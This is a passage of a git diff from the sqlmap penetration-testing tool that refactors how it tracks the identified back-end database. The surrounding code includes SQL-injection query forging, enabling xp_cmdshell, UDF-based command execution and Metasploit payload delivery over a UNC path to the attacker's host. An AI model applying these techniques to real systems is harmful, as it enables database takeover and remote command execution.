conf.dbms = dbmsRegExp.group(1) - kb.dbmsVersion = [ dbmsRegExp.group(2) ] + backend.setVersion(str(dbmsRegExp.group(2))) if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " @@ -1107,11 +1107,8 @@ def __setKnowledgeBaseAttributes(flushAll=True): kb.data = advancedDict() - # Basic back-end DBMS fingerprint + # Active back-end DBMS fingerprint kb.dbms = None - kb.dbmsDetected = False - - # Active (extensive) back-end DBMS fingerprint kb.dbmsVersion = [ UNKNOWN_DBMS_VERSION ] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] diff --git a/lib/core/session.py b/lib/core/session.py index c64ccc092..1d69fcd01 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -9,11 +9,10 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.common import aliasToDbmsEnum +from lib.core.common import backend +from lib.core.common import format from lib.core.common import dataToSessionFile -from lib.core.common import formatFingerprintString from lib.core.common import getFilteredPageContent -from lib.core.common import getIdentifiedDBMS from lib.core.common import readInput from lib.core.convert import base64pickle from lib.core.convert import base64unpickle @@ -99,9 +98,9 @@ def setDbms(dbms): if dbmsRegExp: dbms = dbmsRegExp.group(1) - kb.dbms = aliasToDbmsEnum(dbms) + backend.setDbms(dbms) - logger.info("the back-end DBMS is %s" % kb.dbms) + logger.info("the back-end DBMS is %s" % backend.getDbms()) def setOs(): """ @@ -128,15 +127,15 @@ def setOs(): return if "type" in kb.bannerFp: - kb.os = formatFingerprintString(kb.bannerFp["type"]) + kb.os = format.humanize(kb.bannerFp["type"]) infoMsg = "the back-end DBMS operating system is %s" % kb.os if "distrib" in kb.bannerFp: - kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"]) - infoMsg += " %s" % kb.osVersion + kb.osVersion = format.humanize(kb.bannerFp["distrib"]) + infoMsg += " %s" % kb.osVersion if "sp" in kb.bannerFp: - kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", "")) + kb.osSP = int(format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", "")) elif "sp" not in kb.bannerFp and kb.os == "Windows": kb.osSP = 0 @@ -206,11 +205,11 @@ def resumeConfKb(expression, url, value): test = readInput(message, default="N") if not test or test[0] in ("n", "N"): - kb.dbms = aliasToDbmsEnum(dbms) - kb.dbmsVersion = dbmsVersion + backend.setDbms(dbms) + backend.setVersionList(dbmsVersion) else: - kb.dbms = aliasToDbmsEnum(dbms) - kb.dbmsVersion = dbmsVersion + backend.setDbms(dbms) + backend.setVersionList(dbmsVersion) elif expression == "OS" and url == conf.url: os = unSafeFormatString(value[:-1]) @@ -247,7 +246,7 @@ def resumeConfKb(expression, url, value): if '.' in table: db, table = table.split('.') else: - db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX) + db = "%s%s" % (backend.getIdentifiedDbms(), METADB_SUFFIX) logMsg = "resuming brute forced table name " logMsg += "'%s' from session file" % table @@ -262,7 +261,7 @@ def resumeConfKb(expression, url, value): if '.' in table: db, table = table.split('.') else: - db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX) + db = "%s%s" % (backend.getIdentifiedDbms(), METADB_SUFFIX) logMsg = "resuming brute forced column name " logMsg += "'%s' for table '%s' from session file" % (colName, table) diff --git a/lib/core/shell.py b/lib/core/shell.py index 5e5120581..fafa52fff 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -12,7 +12,7 @@ import os import rlcompleter from lib.core import readlineng as readline -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.data import kb from lib.core.data import paths from lib.core.data import queries @@ -30,7 +30,7 @@ def loadHistory(): def queriesForAutoCompletion(): autoComplQueries = {} - for item in queries[getIdentifiedDBMS()]._toflat(): + for item in queries[backend.getIdentifiedDbms()]._toflat(): if item._has_key('query') and len(item.query) > 1 and item._name != 'blind': autoComplQueries[item.query] = None diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index e603fd6df..6c3e3bcd6 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -7,12 +7,12 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.datatype import advancedDict class Unescaper(advancedDict): def unescape(self, expression, quote=True, dbms=None): - identifiedDbms = getIdentifiedDBMS() + identifiedDbms = backend.getIdentifiedDbms() if identifiedDbms is not None: return self[identifiedDbms](expression, quote=quote) diff --git a/lib/parse/banner.py b/lib/parse/banner.py index b0f9d29b9..9c90d2a72 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -13,7 +13,7 @@ from xml.sax.handler import ContentHandler from lib.core.common import checkFile from lib.core.common import getCompiledRegex -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import parseXmlFile from lib.core.common import sanitizeStr from lib.core.data import kb @@ -97,13 +97,13 @@ def bannerParser(banner): xmlfile = None - if getIdentifiedDBMS() == DBMS.MSSQL: + if backend.getIdentifiedDbms() == DBMS.MSSQL: xmlfile = paths.MSSQL_XML - elif getIdentifiedDBMS() == DBMS.MYSQL: + elif backend.getIdentifiedDbms() == DBMS.MYSQL: xmlfile = paths.MYSQL_XML - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: xmlfile = paths.ORACLE_XML - elif getIdentifiedDBMS() == DBMS.PGSQL: + elif backend.getIdentifiedDbms() == DBMS.PGSQL: xmlfile = paths.PGSQL_XML if not xmlfile: @@ -111,7 +111,7 @@ def bannerParser(banner): checkFile(xmlfile) - if getIdentifiedDBMS() == DBMS.MSSQL: + if backend.getIdentifiedDbms() == DBMS.MSSQL: handler = MSSQLBannerHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) diff --git a/lib/request/direct.py b/lib/request/direct.py index 4703049d8..17aeb1296 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission from lib.core.agent import agent from lib.core.common import dataToSessionFile -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import getUnicode from lib.core.convert import base64pickle from lib.core.convert import base64unpickle @@ -26,7 +26,7 @@ def direct(query, content=True): select = False query = agent.payloadDirect(query) - if getIdentifiedDBMS() == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query: + if backend.getIdentifiedDbms() == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query: query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): diff --git a/lib/request/inject.py b/lib/request/inject.py index 0f1760cd1..edbcd791a 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -11,11 +11,11 @@ import re import time from lib.core.agent import agent +from lib.core.common import backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import dataToSessionFile from lib.core.common import expandAsteriskForColumns -from lib.core.common import getIdentifiedDBMS from lib.core.common import getPublicTypeMembers from lib.core.common import initTechnique from lib.core.common import isNumPosStrValue @@ -54,7 +54,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) - if (conf.eta or conf.threads > 1) and getIdentifiedDBMS() and not timeBasedCompare: + if (conf.eta or conf.threads > 1) and backend.getIdentifiedDbms() and not timeBasedCompare: _, length, _ = queryOutputLength(expression, payload) else: length = None @@ -137,186 +137,183 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r if not unpack: return __goInference(payload, expression, charsetType, firstChar, lastChar) - if kb.dbmsDetected: - _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) + _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) - rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) - if rdbRegExp and getIdentifiedDBMS() == DBMS.FIREBIRD: - expressionFieldsList = [expressionFields] + rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) + if rdbRegExp and backend.getIdentifiedDbms() == DBMS.FIREBIRD: + expressionFieldsList = [expressionFields] - if len(expressionFieldsList) > 1: - infoMsg = "the SQL query provided has more than a field. " - infoMsg += "sqlmap will now unpack it into distinct queries " - infoMsg += "to be able to retrieve the output even if we " - infoMsg += "are going blind" - logger.info(infoMsg) + if len(expressionFieldsList) > 1: + infoMsg = "the SQL query provided has more than a field. " + infoMsg += "sqlmap will now unpack it into distinct queries " + infoMsg += "to be able to retrieve the output even if we " + infoMsg += "are going blind" + logger.info(infoMsg) - # If we have been here from SQL query/shell we have to check if - # the SQL query might return multiple entries and in such case - # forge the SQL limiting the query output one entry per time - # NOTE: I assume that only queries that get data from a table - # can return multiple entries - if fromUser and " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))): - limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I) - topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) + # If we have been here from SQL query/shell we have to check if + # the SQL query might return multiple entries and in such case + # forge the SQL limiting the query output one entry per time + # NOTE: I assume that only queries that get data from a table + # can return multiple entries + if fromUser and " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))): + limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) + topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) - if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): - if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): - limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query - limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query + if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): + if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query + limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query + + if limitGroupStart.isdigit(): + startLimit = int(limitRegExp.group(int(limitGroupStart))) + + stopLimit = limitRegExp.group(int(limitGroupStop)) + limitCond = int(stopLimit) > 1 + + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if limitRegExp: + limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query + limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 + elif topLimit: + startLimit = 0 + stopLimit = int(topLimit.group(1)) + limitCond = int(stopLimit) > 1 - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): - if limitRegExp: - limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query - limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query + elif backend.getIdentifiedDbms() == DBMS.ORACLE: + limitCond = False + else: + limitCond = True - if limitGroupStart.isdigit(): - startLimit = int(limitRegExp.group(int(limitGroupStart))) + # I assume that only queries NOT containing a "LIMIT #, 1" + # (or similar depending on the back-end DBMS) can return + # multiple entries + if limitCond: + if limitRegExp: + stopLimit = int(stopLimit) - stopLimit = limitRegExp.group(int(limitGroupStop)) - limitCond = int(stopLimit) > 1 - elif topLimit: - startLimit = 0 - stopLimit = int(topLimit.group(1)) - limitCond = int(stopLimit) > 1 + # From now on we need only the expression until the " LIMIT " + # (or similar, depending on the back-end DBMS) word + if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + stopLimit += startLimit + untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query) + expression = expression[:untilLimitChar] - elif getIdentifiedDBMS() == DBMS.ORACLE: - limitCond = False - else: - limitCond = True + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + stopLimit += startLimit - # I assume that only queries NOT containing a "LIMIT #, 1" - # (or similar depending on the back-end DBMS) can return - # multiple entries - if limitCond: - if limitRegExp: - stopLimit = int(stopLimit) + if not stopLimit or stopLimit <= 1: + if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]): + test = False + else: + test = True - # From now on we need only the expression until the " LIMIT " - # (or similar, depending on the back-end DBMS) word - if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): - stopLimit += startLimit - untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query) - expression = expression[:untilLimitChar] + if test: + # Count the number of SQL query entries output + countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] + countedExpression = expression.replace(expressionFields, countFirstField, 1) - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): - stopLimit += startLimit + if re.search(" ORDER BY ", expression, re.I): + untilOrderChar = countedExpression.index(" ORDER BY ") + countedExpression = countedExpression[:untilOrderChar] - if not stopLimit or stopLimit <= 1: - if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]): - test = False - else: - test = True + if resumeValue: + count = resume(countedExpression, payload) - if test: - # Count the number of SQL query entries output - countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0] - countedExpression = expression.replace(expressionFields, countFirstField, 1) + if not stopLimit: + if not count or not count.isdigit(): + count = __goInference(payload, countedExpression, 2, firstChar, lastChar) - if re.search(" ORDER BY ", expression, re.I): - untilOrderChar = countedExpression.index(" ORDER BY ") - countedExpression = countedExpression[:untilOrderChar] + if isNumPosStrValue(count): + count = int(count) - if resumeValue: - count = resume(countedExpression, payload) + if batch: + stopLimit = count + else: + message = "the SQL query provided can return " + message += "%d entries. How many " % count + message += "entries do you want to retrieve?\n" + message += "[a] All (default)\n[#] Specific number\n" + message += "[q] Quit" + test = readInput(message, default="a") - if not stopLimit: - if not count or not count.isdigit(): - count = __goInference(payload, countedExpression, 2, firstChar, lastChar) - - if isNumPosStrValue(count): - count = int(count) - - if batch: + if not test or test[0] in ("a", "A"): stopLimit = count - else: - message = "the SQL query provided can return " - message += "%d entries. How many " % count - message += "entries do you want to retrieve?\n" - message += "[a] All (default)\n[#] Specific number\n" - message += "[q] Quit" - test = readInput(message, default="a") - if not test or test[0] in ("a", "A"): - stopLimit = count + elif test[0] in ("q", "Q"): + raise sqlmapUserQuitException - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + elif test.isdigit() and int(test) > 0 and int(test) <= count: + stopLimit = int(test) - elif test.isdigit() and int(test) > 0 and int(test) <= count: - stopLimit = int(test) + infoMsg = "sqlmap is now going to retrieve the " + infoMsg += "first %d query output entries" % stopLimit + logger.info(infoMsg) - infoMsg = "sqlmap is now going to retrieve the " - infoMsg += "first %d query output entries" % stopLimit - logger.info(infoMsg) + elif test[0] in ("#", "s", "S"): + message = "how many? " + stopLimit = readInput(message, default="10") - elif test[0] in ("#", "s", "S"): - message = "how many? " - stopLimit = readInput(message, default="10") - - if not stopLimit.isdigit(): - errMsg = "invalid choice" - logger.error(errMsg) - - return None - - else: - stopLimit = int(stopLimit) - - else: + if not stopLimit.isdigit(): errMsg = "invalid choice" logger.error(errMsg) return None - elif count and not count.isdigit(): - warnMsg = "it was not possible to count the number " - warnMsg += "of entries for the SQL query provided. " - warnMsg += "sqlmap will assume that it returns only " - warnMsg += "one entry" - logger.warn(warnMsg) + else: + stopLimit = int(stopLimit) - stopLimit = 1 + else: + errMsg = "invalid choice" + logger.error(errMsg) - elif (not count or int(count) == 0): - warnMsg = "the SQL query provided does not " - warnMsg += "return any output" - logger.warn(warnMsg) + return None - return None + elif count and not count.isdigit(): + warnMsg = "it was not possible to count the number " + warnMsg += "of entries for the SQL query provided. " + warnMsg += "sqlmap will assume that it returns only " + warnMsg += "one entry" + logger.warn(warnMsg) - elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0): + stopLimit = 1 + + elif (not count or int(count) == 0): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None - try: - for num in xrange(startLimit, stopLimit): - output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) - outputs.append(output) + elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0): + warnMsg = "the SQL query provided does not " + warnMsg += "return any output" + logger.warn(warnMsg) - except KeyboardInterrupt: - print - warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + return None - return outputs + try: + for num in xrange(startLimit, stopLimit): + output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) + outputs.append(output) - elif getIdentifiedDBMS() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): - expression += FROM_TABLE[getIdentifiedDBMS()] + except KeyboardInterrupt: + print + warnMsg = "Ctrl+C detected in dumping phase" + logger.warn(warnMsg) - outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) - returnValue = ", ".join([output for output in outputs]) - else: - returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar) + return outputs + + elif backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): + expression += FROM_TABLE[backend.getIdentifiedDbms()] + + outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) + returnValue = ", ".join([output for output in outputs]) return returnValue @@ -495,7 +492,7 @@ def goStacked(expression, silent=False): if conf.direct: return direct(expression), None - comment = queries[getIdentifiedDBMS()].comment.query + comment = queries[backend.getIdentifiedDbms()].comment.query query = agent.prefixQuery("; %s" % expression) query = agent.suffixQuery("%s;%s" % (query, comment)) payload = agent.payload(newValue=query) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 2163cf578..0d16c3d18 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.common import dataToStdout -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.data import conf @@ -41,10 +41,10 @@ class Abstraction(Web, UDF, xp_cmdshell): if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): self.webBackdoorRunCmd(cmd) - elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + elif backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): self.udfExecCmd(cmd, silent=silent) - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: self.xpCmdshellExecCmd(cmd, silent=silent) else: @@ -55,10 +55,10 @@ class Abstraction(Web, UDF, xp_cmdshell): if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): return self.webBackdoorRunCmd(cmd) - elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + elif backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): return self.udfEvalCmd(cmd, first, last) - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: return self.xpCmdshellEvalCmd(cmd, first, last) else: @@ -93,13 +93,13 @@ class Abstraction(Web, UDF, xp_cmdshell): logger.info(infoMsg) else: - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): infoMsg = "going to use injected sys_eval and sys_exec " infoMsg += "user-defined functions for operating system " infoMsg += "command execution" logger.info(infoMsg) - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: infoMsg = "going to use xp_cmdshell extended procedure for " infoMsg += "operating system command execution" logger.info(infoMsg) @@ -151,9 +151,9 @@ class Abstraction(Web, UDF, xp_cmdshell): warnMsg += "the session user is not a database administrator" logger.warn(warnMsg) - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): self.udfInjectSys() - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: if mandatory: self.xpCmdshellInit() else: diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 36481e42f..d00783273 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -19,7 +19,7 @@ from subprocess import PIPE from subprocess import Popen as execute from lib.core.common import dataToStdout -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import getUnicode @@ -187,13 +187,13 @@ class Metasploit: if __payloadStr == "windows/vncinject": choose = False - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) - elif getIdentifiedDBMS() == DBMS.PGSQL: + elif backend.getIdentifiedDbms() == DBMS.PGSQL: choose = True warnMsg = "by default PostgreSQL on Windows runs as " @@ -201,12 +201,12 @@ class Metasploit: warnMsg += "injection will be successful" logger.warn(warnMsg) - elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): + elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " - warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0] + warnMsg += "%s runs as Network Service " % backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) @@ -230,12 +230,12 @@ class Metasploit: break elif choice == "1": - if getIdentifiedDBMS() == DBMS.PGSQL: + if backend.getIdentifiedDbms() == DBMS.PGSQL: logger.warn("beware that the VNC injection might not work") break - elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): + elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")): break elif not choice.isdigit(): @@ -555,7 +555,7 @@ class Metasploit: # This is useful for sqlmap because on PostgreSQL it is not # possible to write files bigger than 8192 bytes abusing the # lo_export() feature implemented in sqlmap. - if getIdentifiedDBMS() == DBMS.PGSQL: + if backend.getIdentifiedDbms() == DBMS.PGSQL: self.__fileFormat = "exe-small" else: self.__fileFormat = "exe" @@ -657,7 +657,7 @@ class Metasploit: self.__forgeMsfConsoleResource() self.__forgeMsfConsoleCmd() - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile) else: self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index dd6b838c8..1764b46dc 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -11,7 +11,7 @@ import os from lib.core.agent import agent from lib.core.common import dataToStdout -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.data import conf @@ -51,7 +51,7 @@ class UDF: def __checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) - query = agent.forgeCaseStatement(queries[getIdentifiedDBMS()].check_udf.query % (udf, udf)) + query = agent.forgeCaseStatement(queries[backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2) if exists == "1": @@ -104,7 +104,7 @@ class UDF: return output def udfCheckNeeded(self): - if ( not conf.rFile or ( conf.rFile and getIdentifiedDBMS() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs: + if ( not conf.rFile or ( conf.rFile and backend.getIdentifiedDbms() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: @@ -143,9 +143,9 @@ class UDF: if udf in self.udfToCreate and udf not in self.createdUdf: self.udfCreateFromSharedLib(udf, inpRet) - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: supportTblType = "longtext" - elif getIdentifiedDBMS() == DBMS.PGSQL: + elif backend.getIdentifiedDbms() == DBMS.PGSQL: supportTblType = "text" self.udfCreateSupportTbl(supportTblType) @@ -156,8 +156,8 @@ class UDF: self.udfInjectCore(self.sysUdfs) def udfInjectCustom(self): - if getIdentifiedDBMS() not in ( DBMS.MYSQL, DBMS.PGSQL ): - errMsg = "UDF injection feature is not yet implemented on %s" % getIdentifiedDBMS() + if backend.getIdentifiedDbms() not in ( DBMS.MYSQL, DBMS.PGSQL ): + errMsg = "UDF injection feature is not yet implemented on %s" % backend.getIdentifiedDbms() raise sqlmapUnsupportedFeatureException(errMsg) if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: @@ -236,9 +236,9 @@ class UDF: else: logger.warn("you need to specify the name of the UDF") - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: defaultType = "string" - elif getIdentifiedDBMS() == DBMS.PGSQL: + elif backend.getIdentifiedDbms() == DBMS.PGSQL: defaultType = "text" self.udfs[udfName]["input"] = [] diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index e04f5e5e4..d69323869 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -7,6 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ +from lib.core.common import backend from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastRequestDelayed @@ -29,7 +30,7 @@ class xp_cmdshell: def __xpCmdshellCreate(self): cmd = "" - if kb.dbmsVersion[0] in ( "2005", "2008" ): + if backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") cmd += "EXEC master..sp_configure 'show advanced options', 1; " @@ -48,7 +49,7 @@ class xp_cmdshell: cmd += "EXEC sp_OADestroy @ID'; " cmd += "EXEC master..sp_executesql @%s;" % self.__randStr - if kb.dbmsVersion[0] in ( "2005", "2008" ): + if backend.isVersionWithin(("2005", "2008")): cmd += " RECONFIGURE WITH OVERRIDE;" inject.goStacked(cmd) @@ -80,7 +81,7 @@ class xp_cmdshell: return cmd def __xpCmdshellConfigure(self, mode): - if kb.dbmsVersion[0] in ( "2005", "2008" ): + if backend.isVersionWithin(("2005", "2008")): cmd = self.__xpCmdshellConfigure2005(mode) else: cmd = self.__xpCmdshellConfigure2000(mode) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 477642468..9bd4ba51b 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -12,12 +12,13 @@ import time import traceback from lib.core.agent import agent +from lib.core.common import backend from lib.core.common import dataToSessionFile from lib.core.common import dataToStdout from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import goGoodSamaritan from lib.core.common import getPartRun from lib.core.common import popValue @@ -75,7 +76,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int): lastChar = int(lastChar) - if kb.dbmsDetected: + if backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) @@ -125,7 +126,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None hintlock.release() if hintValue is not None and len(hintValue) >= idx: - if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB): + if backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB): posValue = hintValue[idx-1] else: posValue = ord(hintValue[idx-1]) @@ -456,7 +457,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern - subquery = queries[getIdentifiedDBMS()].substring.query % (expressionUnescaped, 1, len(commonPattern)) + subquery = queries[backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue))) query = agent.suffixQuery(query) diff --git 